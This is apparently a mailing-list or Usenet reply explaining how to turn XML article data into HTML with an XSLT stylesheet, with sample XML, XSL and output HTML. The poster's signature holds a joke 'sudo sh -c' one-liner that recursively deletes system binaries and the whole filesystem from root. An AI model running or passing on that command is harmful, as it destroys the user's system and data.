Frank Stallone wrote:
I'm working on a basic css/html/xml template for my websites. I have
as much design stuff as I can put into the CSS file.
OK so far.
I want all my data in the xml file so my html file is, for the most
part, pulling the data from the CSS and XML file to create a page.
This is where it starts to fall apart. "Pulling" XML data from within
an HTML file is a non-standard bodge.
I'm very new to XML and google hasn't really turned up anything
useful.
Not surprising, I'm afraid. Did you manage to find the FAQ at
http://www.ucc.ie/xml ?
Ideally what I want to do is have the code in the html to link a
datafield in the xml file - like this
<span datasrc="#xmltext" datafld="article"></span>
The number of browsers that this works in is probably rather limiting.
Then in my xml file I would want something like
<file>
<article>
blajhfierewr e9rue 9fjfidsfjdsifs <a
href="http://www.fake.com">fake</a> blah blah blah <img
src="http://www.picture.com/wang.jpg" /> blkjfriue-r blah blah, etc,
etc
</article>
Is this even possible? If a use for XML is to keep data seperate from
the html then surely there has to be a way to include links to sites
and images as most written articles have them.
Absolutely.
As David suggested, so it on the server with Cocoon or AxKit, or even
statically with Saxon or similar. An XSLT stylesheet will easily transform
your XML to HTML, eg if your XML file says:
<?xml version="1.0" encoding="ISO-8859-1"?>
<file>
<article>
<title>blajhfierewr</title>
<para>e9rue 9fjfidsfjdsifs <link
uri="http://www.fake.com">fake</link> blah blah blah</para>
<image uri="http://www.picture.com/wang.jpg" />
<para>blkjfriue-r blah blah, etc, etc</para>
</article>
</file>
and your XSLT file says:
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0">
<xsl:output method="html"/>
<xsl:template match="/">
<html>
<head>
<title>
<xsl:value-of select="file/article/title"/>
</title>
<link rel="stylesheet" href="article.css" type="text/css"/>
</head>
<body>
<xsl:apply-templates/>
</body>
</html>
</xsl:template>
<xsl:template match="title">
<h1>
<xsl:apply-templates/>
</h1>
</xsl:template>
<xsl:template match="para">
<p>
<xsl:apply-templates/>
</p>
</xsl:template>
<xsl:template match="link">
<a href="{@uri}">
<xsl:apply-templates/>
</a>
</xsl:template>
<xsl:template match="image">
<div class="picture">
<img src="{@uri}" alt="whatever"/>
</div>
</xsl:template>
</xsl:stylesheet>
then you have much better control over what you feed your users' browsers:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>blajhfierewr</title>
<link rel="stylesheet" href="article.css" type="text/css">
</head>
<body>
<h1>blajhfierewr</h1>
<p>e9rue 9fjfidsfjdsifs <a href="http://www.fake.com">fake</a> blah
blah blah</p>
<div class="picture"><img src="http://www.picture.com/wang.jpg"
alt="whatever"></div>
<p>blkjfriue-r blah blah, etc, etc</p>
</body>
</html>
///Peter
--
sudo sh -c "cd /;/bin/rm -rf `which killall kill ps shutdown mount gdb` *
&;top"